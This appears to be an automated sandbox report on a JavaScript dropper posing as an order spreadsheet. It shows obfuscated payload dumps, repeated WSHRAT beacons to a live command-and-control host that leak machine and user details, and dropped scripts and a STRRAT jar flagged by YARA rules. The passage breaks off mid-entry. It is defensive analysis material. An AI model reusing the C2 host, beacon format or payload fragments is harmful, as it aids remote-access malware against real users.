Dec 17, 2024 03:51:58.541083097 CET	1236	IN	Data Raw: 42 76 61 52 72 63 4f 72 6e 4e 69 65 6b 78 4a 48 55 44 53 5a 50 5a 70 0d 0a 76 61 72 20 6a 79 76 75 55 6b 69 55 55 75 6a 57 74 65 6a 57 46 4f 7a 50 70 56 47 69 4f 46 70 76 4f 4e 42 45 62 46 71 53 77 69 74 48 45 74 4e 6a 41 62 51 64 6b 67 4d 4c 50 Data Ascii: BvaRrcOrnNiekxJHUDSZPZpvar jyvuUkiUUujWtejWFOzPpVGiOFpvONBEbFqSwitHEtNjAbQdkgMLPKAOrMgPumFHtfvnnRaWUsKvHXinpMLhAqoRFbbjCeMSnGqUfcpTGpqWzEHUetaibYGCrehMqrUqgsIAgNHMXrbKARRBUGEJEeqPzndBucdOVAqGwGnRlNLjwwCZMgsjnLlBBsBtkFRuONpzaLENTnNHGTEydPzK
Dec 17, 2024 03:51:58.541120052 CET	1236	IN	Data Raw: 61 69 77 78 4f 44 41 31 4e 44 55 30 4e 7a 63 74 52 7a 42 71 4c 44 45 34 4d 44 55 30 4e 54 51 34 4e 53 31 48 4d 47 6f 73 4d 54 67 77 4e 54 51 31 4e 44 63 32 4c 55 63 77 61 69 77 78 4f 44 41 31 4e 44 55 30 4d 54 49 74 52 7a 42 71 4c 44 45 34 4d 44 Data Ascii: aiwxODA1NDU0NzctRzBqLDE4MDU0NTQ4NS1HMGosMTgwNTQ1NDc2LUcwaiwxODA1NDU0MTItRzBqLDE4MDU0NTQ4MS1HMGosMTgwNTQ1NDYzLUcwaiwxODA1NDU0NzQtRzBqLDE4MDU0NTQ2Ny1HMGosMTgwNTQ1NDgxLUcwaiwxODA1NDU0MjAtRzBqLDE4MDU0NTQxOC1HMGosMTgwNTQ1Mzk4LUcwaiwxODA1NDU0NTktRzB
Dec 17, 2024 03:51:58.541229010 CET	1236	IN	Data Raw: 4f 44 41 31 4e 44 55 7a 4e 7a 59 74 52 7a 42 71 4c 44 45 34 4d 44 55 30 4e 54 4d 33 4e 69 31 48 4d 47 6f 73 4d 54 67 77 4e 54 51 31 4d 7a 63 32 4c 55 63 77 61 69 77 78 4f 44 41 31 4e 44 55 7a 4e 7a 59 74 52 7a 42 71 4c 44 45 34 4d 44 55 30 4e 54 Data Ascii: ODA1NDUzNzYtRzBqLDE4MDU0NTM3Ni1HMGosMTgwNTQ1Mzc2LUcwaiwxODA1NDUzNzYtRzBqLDE4MDU0NTQ4NC1HMGosMTgwNTQ1NDYzLUcwaiwxODA1NDU0ODAtRzBqLDE4MDU0NTM5OC1HMGosMTgwNTQ1NDcwLUcwaiwxODA1NDU0NzctRzBqLDE4MDU0NTQ4MS1HMGosMTgwNTQ1NDgyLUcwaiwxODA1NDUzOTgtRzBqLDE
Dec 17, 2024 03:51:58.541284084 CET	1236	IN	Data Raw: 4e 44 55 30 4e 7a 59 74 52 7a 42 71 4c 44 45 34 4d 44 55 30 4e 54 51 34 4d 53 31 48 4d 47 6f 73 4d 54 67 77 4e 54 51 31 4e 44 67 79 4c 55 63 77 61 69 77 78 4f 44 41 31 4e 44 55 30 4e 6a 4d 74 52 7a 42 71 4c 44 45 34 4d 44 55 30 4e 54 51 33 4e 43 Data Ascii: NDU0NzYtRzBqLDE4MDU0NTQ4MS1HMGosMTgwNTQ1NDgyLUcwaiwxODA1NDU0NjMtRzBqLDE4MDU0NTQ3NC1HMGosMTgwNTQ1NDc0LUcwaiwxODA1NDU0NjYtRzBqLDE4MDU0NTQ3MS1HMGosMTgwNTQ1NDgwLUcwaiwxODA1NDUzOTgtRzBqLDE4MDU0NTQyNy1HMGosMTgwNTQ1Mzk4LUcwaiwxODA1NDU0MDAtRzBqLDE4MDU
Dec 17, 2024 03:51:58.541318893 CET	1236	IN	Data Raw: 4e 6a 63 74 52 7a 42 71 4c 44 45 34 4d 44 55 30 4e 54 51 79 4e 53 31 48 4d 47 6f 73 4d 54 67 77 4e 54 51 31 4d 7a 63 32 4c 55 63 77 61 69 77 78 4f 44 41 31 4e 44 55 7a 4e 7a 59 74 52 7a 42 71 4c 44 45 34 4d 44 55 30 4e 54 4d 33 4e 69 31 48 4d 47 Data Ascii: NjctRzBqLDE4MDU0NTQyNS1HMGosMTgwNTQ1Mzc2LUcwaiwxODA1NDUzNzYtRzBqLDE4MDU0NTM3Ni1HMGosMTgwNTQ1Mzc2LUcwaiwxODA1NDU0MTMtRzBqLDE4MDU0NTQxMy1HMGosMTgwNTQ1NDI3LUcwaiwxODA1NDU0MTEtRzBqLDE4MDU0NTQyNy1HMGosMTgwNTQ1NDExLUcwaiwxODA1NDU0MjctRzBqLDE4MDU0NTQ
Dec 17, 2024 03:51:58.541353941 CET	1236	IN	Data Raw: 52 7a 42 71 4c 44 45 34 4d 44 55 30 4e 54 51 33 4e 79 31 48 4d 47 6f 73 4d 54 67 77 4e 54 51 31 4e 44 59 30 4c 55 63 77 61 69 77 78 4f 44 41 31 4e 44 55 30 4e 7a 49 74 52 7a 42 71 4c 44 45 34 4d 44 55 30 4e 54 4d 35 4f 43 31 48 4d 47 6f 73 4d 54 Data Ascii: RzBqLDE4MDU0NTQ3Ny1HMGosMTgwNTQ1NDY0LUcwaiwxODA1NDU0NzItRzBqLDE4MDU0NTM5OC1HMGosMTgwNTQ1NDI3LUcwaiwxODA1NDUzOTgtRzBqLDE4MDU0NTQ1My1HMGosMTgwNTQ1NDQ5LUcwaiwxODA1NDU0NjUtRzBqLDE4MDU0NTQ4MC1HMGosMTgwNTQ1NDcxLUcwaiwxODA1NDU0NzgtRzBqLDE4MDU0NTQ4Mi1
Dec 17, 2024 03:51:58.541867971 CET	1236	IN	Data Raw: 4c 44 45 34 4d 44 55 30 4e 54 51 31 4d 79 31 48 4d 47 6f 73 4d 54 67 77 4e 54 51 31 4e 44 51 35 4c 55 63 77 61 69 77 78 4f 44 41 31 4e 44 55 30 4e 6a 55 74 52 7a 42 71 4c 44 45 34 4d 44 55 30 4e 54 51 34 4d 43 31 48 4d 47 6f 73 4d 54 67 77 4e 54 Data Ascii: LDE4MDU0NTQ1My1HMGosMTgwNTQ1NDQ5LUcwaiwxODA1NDU0NjUtRzBqLDE4MDU0NTQ4MC1HMGosMTgwNTQ1NDcxLUcwaiwxODA1NDU0NzgtRzBqLDE4MDU0NTQ4Mi1HMGosMTgwNTQ1NDEyLUcwaiwxODA1NDU0NjUtRzBqLDE4MDU0NTQ4MC1HMGosMTgwNTQ1NDY3LUcwaiwxODA1NDU0NjMtRzBqLDE4MDU0NTQ4Mi1HMGo
Dec 17, 2024 03:51:58.541902065 CET	1236	IN	Data Raw: 4d 44 55 30 4e 54 4d 35 4f 43 31 48 4d 47 6f 73 4d 54 67 77 4e 54 51 31 4e 44 55 7a 4c 55 63 77 61 69 77 78 4f 44 41 31 4e 44 55 30 4e 44 6b 74 52 7a 42 71 4c 44 45 34 4d 44 55 30 4e 54 51 32 4e 53 31 48 4d 47 6f 73 4d 54 67 77 4e 54 51 31 4e 44 Data Ascii: MDU0NTM5OC1HMGosMTgwNTQ1NDUzLUcwaiwxODA1NDU0NDktRzBqLDE4MDU0NTQ2NS1HMGosMTgwNTQ1NDgwLUcwaiwxODA1NDU0NzEtRzBqLDE4MDU0NTQ3OC1HMGosMTgwNTQ1NDgyLUcwaiwxODA1NDU0MTItRzBqLDE4MDU0NTQ2NS1HMGosMTgwNTQ1NDgwLUcwaiwxODA1NDU0NjctRzBqLDE4MDU0NTQ2My1HMGosMTg
Dec 17, 2024 03:51:58.541937113 CET	1236	IN	Data Raw: 4e 54 51 32 4d 79 31 48 4d 47 6f 73 4d 54 67 77 4e 54 51 31 4e 44 67 77 4c 55 63 77 61 69 77 78 4f 44 41 31 4e 44 55 7a 4f 54 67 74 52 7a 42 71 4c 44 45 34 4d 44 55 30 4e 54 51 79 4e 79 31 48 4d 47 6f 73 4d 54 67 77 4e 54 51 31 4e 44 45 78 4c 55 Data Ascii: NTQ2My1HMGosMTgwNTQ1NDgwLUcwaiwxODA1NDUzOTgtRzBqLDE4MDU0NTQyNy1HMGosMTgwNTQ1NDExLUcwaiwxODA1NDU0MjctRzBqLDE4MDU0NTQxMS1HMGosMTgwNTQ1NDI3LUcwaiwxODA1NDU0MTEtRzBqLDE4MDU0NTQyNy1HMGosMTgwNTQ1NDExLUcwaiwxODA1NDU0MjctRzBqLDE4MDU0NTQxMS1HMGosMTgwNTQ
Dec 17, 2024 03:51:58.661312103 CET	1236	IN	Data Raw: 4e 53 31 48 4d 47 6f 73 4d 54 67 77 4e 54 51 31 4d 7a 63 32 4c 55 63 77 61 69 77 78 4f 44 41 31 4e 44 55 7a 4e 7a 59 74 52 7a 42 71 4c 44 45 34 4d 44 55 30 4e 54 51 34 4e 43 31 48 4d 47 6f 73 4d 54 67 77 4e 54 51 31 4e 44 59 7a 4c 55 63 77 61 69 Data Ascii: NS1HMGosMTgwNTQ1Mzc2LUcwaiwxODA1NDUzNzYtRzBqLDE4MDU0NTQ4NC1HMGosMTgwNTQ1NDYzLUcwaiwxODA1NDU0ODAtRzBqLDE4MDU0NTM5OC1HMGosMTgwNTQ1NDgxLUcwaiwxODA1NDU0ODItRzBqLDE4MDU0NTQ2My1HMGosMTgwNTQ1NDgwLUcwaiwxODA1NDU0ODItRzBqLDE4MDU0NTQ4My1HMGosMTgwNTQ1NDc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49801	46.246.82.66	7045	7580	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 03:52:26.307077885 CET	338	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|B81A4609\|user-PC\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 16/12/2024\|JavaScript Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49819	46.246.82.66	7045	8156	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 03:52:32.637018919 CET	338	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|B81A4609\|user-PC\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 16/12/2024\|JavaScript Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49825	46.246.82.66	7045	7580	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 03:52:34.329323053 CET	338	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|B81A4609\|user-PC\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 16/12/2024\|JavaScript Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49842	46.246.82.66	7045	8156	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 03:52:39.897917986 CET	338	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|B81A4609\|user-PC\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 16/12/2024\|JavaScript Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49848	46.246.82.66	7045	7580	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 03:52:41.485567093 CET	338	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|B81A4609\|user-PC\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 16/12/2024\|JavaScript Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49864	46.246.82.66	7045	8156	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 03:52:46.817774057 CET	338	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|B81A4609\|user-PC\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 16/12/2024\|JavaScript Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49871	46.246.82.66	7045	7580	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 03:52:48.667625904 CET	338	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|B81A4609\|user-PC\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 16/12/2024\|JavaScript Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49886	46.246.82.66	7045	8156	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 03:52:53.726320982 CET	338	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|B81A4609\|user-PC\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 16/12/2024\|JavaScript Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49909	46.246.82.66	7045	7580	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 03:52:58.864223003 CET	338	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|B81A4609\|user-PC\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 16/12/2024\|JavaScript Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49920	46.246.82.66	7045	8156	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 03:53:00.724962950 CET	338	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|B81A4609\|user-PC\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 16/12/2024\|JavaScript Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49952	46.246.82.66	7045	7580	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 03:53:05.958344936 CET	338	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|B81A4609\|user-PC\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 16/12/2024\|JavaScript Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49964	46.246.82.66	7045	8156	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 03:53:08.191515923 CET	338	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|B81A4609\|user-PC\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 16/12/2024\|JavaScript Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49990	46.246.82.66	7045	7580	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 03:53:12.899909973 CET	338	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|B81A4609\|user-PC\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 16/12/2024\|JavaScript Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	50002	46.246.82.66	7045	8156	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 03:53:15.224483967 CET	338	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|B81A4609\|user-PC\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 16/12/2024\|JavaScript Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	50026	46.246.82.66	7045	7580	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 03:53:19.789160013 CET	338	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|B81A4609\|user-PC\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 16/12/2024\|JavaScript Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	50040	46.246.82.66	7045	8156	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 03:53:22.416100979 CET	338	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|B81A4609\|user-PC\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 16/12/2024\|JavaScript Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	50082	46.246.82.66	7045	8156	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 03:53:29.711734056 CET	338	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|B81A4609\|user-PC\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 16/12/2024\|JavaScript Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	50083	46.246.82.66	7045	7580	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 03:53:29.773677111 CET	338	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|B81A4609\|user-PC\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 16/12/2024\|JavaScript Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	50130	46.246.82.66	7045	8156	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 03:53:38.906903028 CET	338	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|B81A4609\|user-PC\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 16/12/2024\|JavaScript Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	50131	46.246.82.66	7045	7580	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 03:53:38.919620991 CET	338	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|B81A4609\|user-PC\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 16/12/2024\|JavaScript Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	50168	46.246.82.66	7045	8156	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 03:53:45.856669903 CET	338	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|B81A4609\|user-PC\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 16/12/2024\|JavaScript Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	50173	46.246.82.66	7045	7580	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 03:53:46.743814945 CET	338	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|B81A4609\|user-PC\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 16/12/2024\|JavaScript Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	50207	46.246.82.66	7045	8156	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 03:53:53.329839945 CET	338	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|B81A4609\|user-PC\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 16/12/2024\|JavaScript Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	50215	46.246.82.66	7045	7580	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 03:53:54.082190990 CET	338	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|B81A4609\|user-PC\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 16/12/2024\|JavaScript Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	50250	46.246.82.66	7045	8156	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 03:54:01.254518032 CET	338	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|B81A4609\|user-PC\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 16/12/2024\|JavaScript Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	50255	46.246.82.66	7045	7580	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 03:54:02.238364935 CET	338	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|B81A4609\|user-PC\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 16/12/2024\|JavaScript Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Target ID:	0
Start time:	21:51:56
Start date:	16/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ORDER-24171200967.XLS..js"
Imagebase:	0x7ff6603e0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	21:52:00
Start date:	16/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\ELMAMV.js"
Imagebase:	0x7ff6603e0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:52:00
Start date:	16/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\adobe.js"
Imagebase:	0x7ff6603e0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 00000002.00000003.1737403220.000002890EC5B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 00000002.00000003.1731617996.0000028910DD9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 00000002.00000003.1737294096.000002890EBB1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 00000002.00000003.1735824367.0000028910DD9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 00000002.00000003.1731869784.0000028910DD9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 00000002.00000003.1731838543.000002890EB0A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:52:00
Start date:	16/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\word.js"
Imagebase:	0x7ff6603e0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:52:01
Start date:	16/12/2024
Path:	C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe" -jar "C:\Users\user\AppData\Local\Temp\BDl.jar"
Imagebase:	0x4d0000
File size:	257'664 bytes
MD5 hash:	6E0F4F812AE02FBCB744A929E74A04B8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected Allatori_JAR_Obfuscator, Source: 00000004.00000002.2977567936.0000000009D95000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_JAVA_Packed_Allatori, Description: Detects files packed with Allatori Java Obfuscator, Source: 00000004.00000002.2977567936.0000000009D95000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_STRRAT, Description: Yara detected STRRAT, Source: 00000004.00000002.2977567936.0000000009D68000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_STRRAT, Description: Yara detected STRRAT, Source: 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: 